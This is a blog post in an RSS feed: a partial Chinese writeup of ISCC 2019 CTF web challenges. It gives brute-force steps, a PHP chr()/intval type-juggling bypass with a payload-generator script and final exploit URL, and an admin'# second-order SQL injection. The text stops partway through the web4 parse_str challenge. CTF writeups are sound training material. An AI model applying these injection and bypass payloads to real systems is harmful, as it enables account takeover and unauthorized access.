<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>iscc &#8211; ChaBug安全</title>
	<atom:link href="/tags/iscc/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sat, 06 Jul 2019 17:23:37 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>ISCC 2019部分writeup</title>
		<link>/ctf/656.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:23:37 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[iscc]]></category>
		<category><![CDATA[iscc2018]]></category>
		<guid isPermaLink="false">/?p=656</guid>

					<description><![CDATA[web1 题目地址：http://39.100.83.188:8002/ 删掉cookie和code字段提示密码错误 burp爆破3位数字 web2 题目地址: http://39....]]>/</description>
										<content:encoded><![CDATA[<h1 class="md-end-block md-heading md-focus"><span class="md-plain md-expand">web1</span></h1>
<p><span class="md-plain">题目地址：</span><span class="md-link"><a spellcheck="false" href="http://39.100.83.188:8002/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">http://39.100.83.188:8002/</span></a></span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501180858.png"><img src="https://y4er.com/img/uploads/20190501180858.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501181040.png"><img src="https://y4er.com/img/uploads/20190501181040.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p><span class="md-plain">删掉cookie和code字段提示</span><span spellcheck="false"><code>密码错误</code></span></p>
<p><span class="md-plain">burp爆破3位数字</span></p>
<p><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190501181505.png"><img src="https://y4er.com/img/uploads/20190501181505.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web2</span></h1>
<p><span class="md-plain">题目地址: </span><span class=" md-link"><a spellcheck="false" href="http://39.100.83.188:8001/" target="_blank" rel="nofollow noopener noreferrer"><span class="md-plain">http://39.100.83.188:8001/</span></a></span></p>
<div id="crayon-5d0fe351b3be0627050908" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3be0627050908-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3be0627050908-17">17</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3be0627050908-1" class="crayon-line"><span class="crayon-o">&lt;</span><span class="crayon-sy">?</span><span class="crayon-e">php</span></div>
<div id="crayon-5d0fe351b3be0627050908-2" class="crayon-line crayon-striped-line"><span class="crayon-e">error_reporting</span><span class="crayon-sy">(</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-3" class="crayon-line"><span class="crayon-i">require</span> <span class="crayon-s">&#8216;flag.php&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-4" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">value</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;value&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-5" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">password</span> <span class="crayon-o">=</span> <span class="crayon-sy">$</span><span class="crayon-v">_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;password&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">username</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-7" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3be0627050908-8" class="crayon-line crayon-striped-line"><span class="crayon-st">for</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">i</span> <span class="crayon-o">=</span> <span class="crayon-cn">0</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span> <span class="crayon-o">&lt;</span> <span class="crayon-e">count</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span> <span class="crayon-o">++</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3be0627050908-9" class="crayon-line">  <span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span> <span class="crayon-o">&gt;</span> <span class="crayon-cn">32</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span> <span class="crayon-o">&lt;</span> <span class="crayon-cn">127</span><span class="crayon-sy">)</span> <span class="crayon-e">unset</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-10" class="crayon-line crayon-striped-line">  <span class="crayon-st">else</span> <span class="crayon-sy">$</span><span class="crayon-i">username</span> <span class="crayon-sy">.</span><span class="crayon-o">=</span> <span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">value</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-11" class="crayon-line">  <span class="crayon-st">if</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">username</span> <span class="crayon-o">==</span> <span class="crayon-s">&#8216;w3lc0me_To_ISCC2019&#8217;</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">password</span><span class="crayon-sy">)</span> <span class="crayon-o">&lt;</span> <span class="crayon-cn">2333</span> <span class="crayon-o">&amp;&amp;</span> <span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">password</span> <span class="crayon-o">+</span> <span class="crayon-cn">1</span><span class="crayon-sy">)</span> <span class="crayon-o">&gt;</span> <span class="crayon-cn">2333</span><span class="crayon-sy">)</span> <span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3be0627050908-12" class="crayon-line crayon-striped-line">    <span class="crayon-i">echo</span> <span class="crayon-s">&#8216;Hello &#8216;</span><span class="crayon-sy">.</span><span class="crayon-sy">$</span><span class="crayon-v">username</span><span class="crayon-sy">.</span><span class="crayon-s">&#8216;!&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;&lt;br&gt;&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-v">PHP_EOL</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-13" class="crayon-line">    <span class="crayon-i">echo</span> <span class="crayon-sy">$</span><span class="crayon-v">flag</span><span class="crayon-sy">,</span> <span class="crayon-s">&#8216;&lt;hr&gt;&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3be0627050908-14" class="crayon-line crayon-striped-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3be0627050908-15" class="crayon-line"><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3be0627050908-16" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3be0627050908-17" class="crayon-line"><span class="crayon-e">highlight_file</span><span class="crayon-sy">(</span><span class="crayon-v">__FILE__</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">要求满足</span></p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">username=&#8217;w3lc0me_To_ISCC2019&#8242;</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">输入的vaule不在ascii码可见范围内</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">intval($password) &lt; 2333 &amp;&amp; intval($password + 1) &gt; 2333</span></p>
</li>
</ol>
<p class="md-end-block md-p"><span class="md-plain">考点在于弱类型和类型转换</span></p>
<p class="md-end-block md-p"><span class="md-plain">查阅chr()相关函数</span></p>
<div id="crayon-5d0fe351b3bea629500931" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bea629500931-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bea629500931-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bea629500931-3">3</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bea629500931-1" class="crayon-line"><span class="crayon-e">Note </span><span class="crayon-e">that </span><span class="crayon-st">if</span> <span class="crayon-e">the </span><span class="crayon-e">number </span><span class="crayon-st">is</span> <span class="crayon-e">higher </span><span class="crayon-i">than</span> <span class="crayon-cn">256</span><span class="crayon-sy">,</span> <span class="crayon-e">it </span><span class="crayon-e">will </span><span class="crayon-st">return</span> <span class="crayon-e">the </span><span class="crayon-e">number </span><span class="crayon-i">mod</span> <span class="crayon-cn">256.</span></div>
<div id="crayon-5d0fe351b3bea629500931-2" class="crayon-line crayon-striped-line"><span class="crayon-st">For</span> <span class="crayon-v">example</span> <span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3bea629500931-3" class="crayon-line"><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-cn">321</span><span class="crayon-sy">)</span><span class="crayon-o">=</span><span class="crayon-i">A</span> <span class="crayon-i">because</span> <span class="crayon-v">A</span><span class="crayon-o">=</span><span class="crayon-cn">65</span><span class="crayon-sy">(</span><span class="crayon-cn">256</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">chr()自动mod256</span></p>
<p class="md-end-block md-p"><span class="md-plain">那么构造我们的脚本生成payload</span></p>
<div id="crayon-5d0fe351b3bed615521032" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bed615521032-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bed615521032-7">7</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bed615521032-1" class="crayon-line"><span class="crayon-sy">$</span><span class="crayon-v">payload</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;w3lc0me_To_ISCC2019&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-2" class="crayon-line crayon-striped-line"><span class="crayon-sy">$</span><span class="crayon-v">payload1</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-3" class="crayon-line"><span class="crayon-st">for</span> <span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">=</span><span class="crayon-cn">0</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">&lt;</span><span class="crayon-e">strlen</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">payload</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span> <span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-o">++</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bed615521032-4" class="crayon-line crayon-striped-line"><span class="crayon-c">//    echo $username1[$i].'&lt;br&gt;&#8217;;</span></div>
<div id="crayon-5d0fe351b3bed615521032-5" class="crayon-line">  <span class="crayon-sy">$</span><span class="crayon-v">payload1</span><span class="crayon-sy">.</span><span class="crayon-o">=</span> <span class="crayon-s">&#8216;&amp;value[]=&#8217;</span><span class="crayon-sy">.</span><span class="crayon-sy">(</span><span class="crayon-cn">256</span><span class="crayon-o">+</span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-sy">$</span><span class="crayon-v">payload</span><span class="crayon-sy">[</span><span class="crayon-sy">$</span><span class="crayon-v">i</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bed615521032-6" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bed615521032-7" class="crayon-line"><span class="crayon-i">echo</span> <span class="crayon-sy">$</span><span class="crayon-v">payload1</span><span class="crayon-sy">;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">password就用进制绕过</span></p>
<p class="md-end-block md-p"><span class="md-plain">2334的hex是0x91e</span></p>
<div id="crayon-5d0fe351b3bef391968227" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bef391968227-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bef391968227-2">2</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bef391968227-1" class="crayon-line"><span class="crayon-e">echo </span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;0x91e&#8217;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span><span class="crayon-h">       </span><span class="crayon-c">//0</span></div>
<div id="crayon-5d0fe351b3bef391968227-2" class="crayon-line crayon-striped-line"><span class="crayon-e">echo </span><span class="crayon-e">intval</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;0x91e&#8217;</span><span class="crayon-o">+</span><span class="crayon-cn">1</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span><span class="crayon-h">     </span><span class="crayon-c">//2335</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">最后的payload</span></p>
<div id="crayon-5d0fe351b3bf0419226505" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf0419226505-1">1</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf0419226505-1" class="crayon-line"><span class="crayon-v">http</span><span class="crayon-o">:</span><span class="crayon-c">//39.100.83.188:8001/?value[]=375&amp;value[]=307&amp;value[]=364&amp;value[]=355&amp;value[]=304&amp;value[]=365&amp;value[]=357&amp;value[]=351&amp;value[]=340&amp;value[]=367&amp;value[]=351&amp;value[]=329&amp;value[]=339&amp;value[]=323&amp;value[]=323&amp;value[]=306&amp;value[]=304&amp;value[]=305&amp;value[]=313&amp;password=0x91e</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<h1 class="md-end-block md-heading"><span class="md-plain">web3</span></h1>
<p class="md-end-block md-p"><span class="md-link" spellcheck="false"><a href="http://39.100.83.188:8065/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8065/</a></span></p>
<p class="md-end-block md-p"><span class="md-plain">title提示二次注入，注入点发生在注册的地方。</span></p>
<p class="md-end-block md-p"><span class="md-plain">注册用户名为</span><span spellcheck="false"><code>admin'#</code></span><span class="md-plain">，然后修改密码，用修改后的密码登录admin账号即可拿到flag</span></p>
<p class="md-end-block md-p"><span class="md-plain">重新写文章的用户名被注册了，我在这注册</span><span spellcheck="false"><code>admin'#</code></span><span class="md-image" data-src="https://y4er.com/img/uploads/20190508163511.png"><img src="https://y4er.com/img/uploads/20190508163511.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">修改密码为a</span><span class="md-image md-img-loaded" data-src="https://y4er.com/img/uploads/20190508163641.png"><img src="https://y4er.com/img/uploads/20190508163641.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<p class="md-end-block md-p"><span class="md-plain">登录admin用户</span><span class="md-image" data-src="https://y4er.com/img/uploads/20190508163613.png"><img src="https://y4er.com/img/uploads/20190508163613.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">web4</span></h1>
<p class="md-end-block md-p"><span class="md-link" spellcheck="false"><a href="http://39.100.83.188:8066/" target="_blank" rel="nofollow noopener noreferrer">http://39.100.83.188:8066/</a></span> <span class="md-plain">源代码</span></p>
<div id="crayon-5d0fe351b3bf2250158932" class="crayon-syntax crayon-theme-github crayon-font-monaco crayon-os-pc print-yes notranslate" data-settings=" minimize scroll-mouseover">
<div class="crayon-plain-wrap"></div>
<div class="crayon-main">
<table class="crayon-table">
<tbody>
<tr class="crayon-row">
<td class="crayon-nums " data-settings="hide">
<div class="crayon-nums-content">
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-1">1</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-2">2</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-3">3</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-4">4</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-5">5</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-6">6</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-7">7</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-8">8</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-9">9</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-10">10</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-11">11</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-12">12</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-13">13</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-14">14</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-15">15</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-16">16</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-17">17</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-18">18</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-19">19</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-20">20</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-21">21</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-22">22</div>
<div class="crayon-num" data-line="crayon-5d0fe351b3bf2250158932-23">23</div>
<div class="crayon-num crayon-striped-num" data-line="crayon-5d0fe351b3bf2250158932-24">24</div>
</div>
</td>
<td class="crayon-code">
<div class="crayon-pre">
<div id="crayon-5d0fe351b3bf2250158932-1" class="crayon-line"><span class="crayon-ta">&lt;?php</span></div>
<div id="crayon-5d0fe351b3bf2250158932-2" class="crayon-line crayon-striped-line"><span class="crayon-e">error_reporting</span><span class="crayon-sy">(</span><span class="crayon-cn">0</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-3" class="crayon-line"><span class="crayon-k ">include</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;flag.php&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-4" class="crayon-line crayon-striped-line"><span class="crayon-v">$hashed_key</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8216;ddbafb4eb89e218701472d3f6c087fdf7119dfdd560f9d1fcbe7482b0feea05a&#8217;</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-5" class="crayon-line"><span class="crayon-v">$parsed</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_url</span><span class="crayon-sy">(</span><span class="crayon-v">$_SERVER</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;REQUEST_URI&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-6" class="crayon-line crayon-striped-line"><span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-k ">isset</span><span class="crayon-sy">(</span><span class="crayon-v">$parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;query&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">)</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-7" class="crayon-line">  <span class="crayon-v">$query</span> <span class="crayon-o">=</span> <span class="crayon-v">$parsed</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;query&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-8" class="crayon-line crayon-striped-line">  <span class="crayon-v">$parsed_query</span> <span class="crayon-o">=</span> <span class="crayon-e">parse_str</span><span class="crayon-sy">(</span><span class="crayon-v">$query</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-9" class="crayon-line">  <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$parsed_query</span><span class="crayon-o">!=</span><span class="crayon-t">NULL</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-10" class="crayon-line crayon-striped-line">    <span class="crayon-v">$action</span> <span class="crayon-o">=</span> <span class="crayon-v">$parsed_query</span><span class="crayon-sy">[</span><span class="crayon-s">&#8216;action&#8217;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-11" class="crayon-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-12" class="crayon-line crayon-striped-line">​</div>
<div id="crayon-5d0fe351b3bf2250158932-13" class="crayon-line">  <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$action</span><span class="crayon-o">===</span><span class="crayon-s">&#8220;auth&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-14" class="crayon-line crayon-striped-line">    <span class="crayon-v">$key</span> <span class="crayon-o">=</span> <span class="crayon-v">$_GET</span><span class="crayon-sy">[</span><span class="crayon-s">&#8220;key&#8221;</span><span class="crayon-sy">]</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-15" class="crayon-line">    <span class="crayon-v">$hashed_input</span> <span class="crayon-o">=</span> <span class="crayon-e">hash</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;sha256&#8217;</span><span class="crayon-sy">,</span> <span class="crayon-v">$key</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-16" class="crayon-line crayon-striped-line">    <span class="crayon-st">if</span><span class="crayon-sy">(</span><span class="crayon-v">$hashed_input</span><span class="crayon-o">!==</span><span class="crayon-v">$hashed_key</span><span class="crayon-sy">)</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-17" class="crayon-line">      <span class="crayon-k ">die</span><span class="crayon-sy">(</span><span class="crayon-s">&#8220;&lt;img src=&#8217;cxk.jpg&#8217;&gt;&#8221;</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-18" class="crayon-line crayon-striped-line">   <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-19" class="crayon-line">​</div>
<div id="crayon-5d0fe351b3bf2250158932-20" class="crayon-line crayon-striped-line">    <span class="crayon-k ">echo</span> <span class="crayon-v">$flag</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-21" class="crayon-line"> <span class="crayon-h">  </span><span class="crayon-sy">}</span></div>
<div id="crayon-5d0fe351b3bf2250158932-22" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span><span class="crayon-st">else</span><span class="crayon-sy">{</span></div>
<div id="crayon-5d0fe351b3bf2250158932-23" class="crayon-line">  <span class="crayon-e">show_source</span><span class="crayon-sy">(</span><span class="crayon-k ">__FILE__</span><span class="crayon-sy">)</span><span class="crayon-sy">;</span></div>
<div id="crayon-5d0fe351b3bf2250158932-24" class="crayon-line crayon-striped-line"><span class="crayon-sy">}</span><span class="crayon-ta">?&gt;</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-plain">通读代码，要求</span></p>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">设置query</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span class="md-plain">action=auth</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block md-p"><span spellcheck="false"><code>$hashed_input</code></span><span class="md-plain">要等于</span><span spellcheck="false"><code>$hashed_key</code></span></p>
</li>
</ol>
